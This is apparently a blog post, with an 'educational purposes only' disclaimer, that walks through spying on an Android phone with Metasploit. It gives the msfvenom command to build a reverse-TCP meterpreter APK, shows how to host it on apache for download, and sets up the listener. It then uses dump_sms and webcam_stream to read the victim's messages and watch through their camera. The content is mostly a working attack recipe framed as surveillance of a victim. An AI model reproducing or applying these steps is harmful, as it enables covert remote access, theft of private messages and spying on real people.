Spying On Android Phones

Post by:blttalas

Disclaimer: All materials provided by this blog are intended for educational purposes only.



1) Generate A Malicious APK

You can use msfvenom to generate a Malicious apk file.

If you do not know what msfvenom is:

"msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance. msfvenom replaced both msfpayload and msfencode as of June 8th, 2015. " https://www.offensive-security.com/metasploit-unleashed/msfvenom/

Boot up Kali or any other Linux distribution of your choosing and open terminal.  
(Note: you must have metasploit-framework installed)

and note your IP address

Enter the following command to generate an apk file.

msfvenom -p android/meterpreter/reverse_tcp LHOST=yourIPaddress LPORT=443 R > /root/Desktop/payload.apk

Your apk file will be saved in whichever directory you specify. In my case the file is going to land on my desktop.

2) Install the apk file on your Android Device and run it

You can install the apk file in different ways. Let's use an apache server to host and deliver our payload.

mv payload.apk /var/www/html

> service apache2 start

We can download the apk file on to our phone by visiting the IP adress of our apache server.

3) Set Up A Listener

We need to set up a listener using Metasploit Framework console before we run our apk.

use exploit/multi/handler 
set payload android/meterpreter/reverse_tcp 
set LHOST yourIPadress
> set LPORT 443
> exploit

4) Post-Shell

The android meterpreter allows you to do a bunch of things like checking if the phone rooted,  getting a dump of sms messages and etc.

You can find out about these options further below or by typing help in the terminal.

Now lets try dumping sms messages and streaming a video from the victim's webcam.

Metasploit Framework's RAT (meterpreter) has a feature called dump_sms. The name is quite self explanatory. In order to dump sms messages, you can type the following command into your meterpreter session. 

> dump_sms

Furthermore, you can stream a live video using the Anroid phone's camera by typing the following command. 

> webcam_stream